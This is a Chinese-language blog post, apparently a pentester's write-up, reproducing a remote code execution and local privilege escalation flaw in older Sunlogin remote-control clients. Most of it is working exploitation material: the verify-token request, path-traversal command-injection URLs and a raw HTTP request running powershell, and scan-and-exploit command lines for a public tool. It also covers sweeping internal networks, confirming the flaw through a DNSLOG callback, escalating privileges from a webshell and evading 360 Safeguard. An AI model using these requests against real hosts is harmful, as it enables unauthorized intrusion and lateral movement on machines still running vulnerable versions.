低版本某遠控RCE/LPE漏洞復現
之前剛發這篇文章不久就被要求刪除了,最近官方應該也都修的差不多了,所以再重新發一遍,僅供參考!!!
0x01 前言
2022年2月14日@孫德勝師傅在他團隊公眾號發布了一篇"向日葵遠程命令執行漏洞復現"的文章,但只有一張復現的動態圖,沒有具體細節。
隔天@Sp4ce師傅就對這個漏洞進行了研究,并記錄了這個遠程命令執行漏洞的整個分析過程,太牛了。
0x02 影響版本
向日葵個人版≤11.0.0.33(包括綠色版和安裝版),已測試存在遠程命令執行漏洞的一些版本如下,目前官方已經發布了漏洞修復程序,只需將向日葵升級至最新版即可。
11.1.110.3.0.2737210.5.0.2961311.0.0.3280611.0.0.33162

0x03 漏洞復現
復現這個漏洞用的是@Automne師傅改的利用工具,添加了存活主機探測、網段掃描和并發優化等功能,項目地址:https://github.com/ce-automne/SunloginRCE。
這篇文章只是簡單記錄了下這個工具的實現原理、使用方法和在實戰中可能會遇到的利用場景及問題等。
工具參數說明
Usage of sunRce.exe: -c string //執行命令 Input Cmd Command -h string //IP或IP段 IP Address: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 -n int //掃描線程 Set Scan Threads (default 600) -p string //指定端口 Ports Range: 50000 | 40000-65535 | 49440,51731,52841 (default "50000") -t string //攻擊類型 Choose Attack Type: scan | rce
工具原理
通過ICMP協議方式對內網主機進行存活探測,多線程掃描存活主機40000-65535端口,將存在向日葵指紋特征的主機IP和端口打印出來,然后再按照以下流程獲取Verify認證->RCE遠程命令執行,如下圖所示。
1. 獲取指紋特征
http://192.168.1.103:58774/{"success":false,"msg":"Verification failure"}

2. 獲取Verify認證
http://192.168.1.103:58774/cgi-bin/rpc?action=verify-haras{"__code":0,"enabled":"1","verify_string":"CB6FOvb5t7iFoiMq3OlWrpe1Ag69nk8I","code":0}

3. RCE遠程命令執行(+Verify)
http://192.168.1.103:58774/check?cmd=ping../../../../../../../../../../../windows/system32/whoamihttp://192.168.1.103:58774/check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user HTTP/1.1Host: 192.168.1.103:58774Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: CID=CB6FOvb5t7iFoiMq3OlWrpe1Ag69nk8IConnection: close

(1) RCE遠程命令執行
當我們已經拿到內網任意一臺主機權限時就可以利用這個工具來掃描整個內網IP段,如果這個IP段中還有人在使用低版本向日葵時就有可能遭受到攻擊,如下圖所示。
sunRce.exe -h 192.168.1.100-103 -t scan -p 40000-65535 -n 2000sunRce.exe -h 192.168.1.103 -t rce -p 58774 -c whoami

不過在測試內網另一臺主機時發現利用這個工具執行命令沒有回顯,看來還是存在些BUG,BurpSuite手動測試沒有問題,也能通過>重定向符將命令執行結果寫進文件,如下圖所示。

如果實戰中遇到這種場景,我們可以先用DNSLOG看下是否能夠收到數據,可以則說明存在這個漏洞,并且是可以執行命令的,本地測試中接收不到數據時可嘗試更換DNS,如下圖所示。
sunRce.exe -h 192.168.1.100 -t rce -p 51408 -c "nslookup ****of.dnslog.cn"

注:如果目標服務器(外/內網)安裝的有低版本向日葵時也可以直接用公網IP來進行掃描和利用,因為向日葵開放的端口綁定在0.0.0.0,127.0.0.1回環地址,0.0.0.0本機上的所有IPV4地址。

(2) LPE本地特權提升
這個漏洞不僅可以RCE遠程命令執行,也可以LPE本地特權提升,不過在利用這個工具在Webshell提權時會出現亂碼,即使作者用了mahonia庫也一樣(UTF-8、GB2312),但不影響使用,如下圖所示。
sunRce.exe -h 127.0.0.1 -p 40000-65535 -t scan -n 2000sunRce.exe -h 127.0.0.1 -t rce -p 59582 -c whoami

注:如果直接用中國菜刀這類網站管理工具的虛擬終端去執行這個利用工具的話可能會被360安全衛士的進程防護功能給攔截,如下圖所示,不過可以用上邊這種執行方式來進行繞過,不會被360攔截。

Github上還看到@Ryze-T師傅寫的一個LPE本地特權提升的項目,通過正則匹配方式在向日葵安裝路徑log目錄下的sunlogin_service.xxx.log日志文件來查找端口,然后獲取Verify認證->127.0.0.1命令執行,如下圖所示。
C:\ProgramData\sunloginLPE.exe "whoami" "C:\ProgramData\Oray\SunloginClient"

優點:不用再去掃描端口,弊端:安裝路徑權限問題,雖然能手動指定向日葵安裝路徑,但如果管理員對磁盤目錄做了權限設置,就會因權限問題而無法讀取日志文件獲取端口,最終導致無法利用,如下圖所示。

LPE本地特權提升的項目地址:
https://github.com/Ryze-T/CNVD-2022-10270-LPE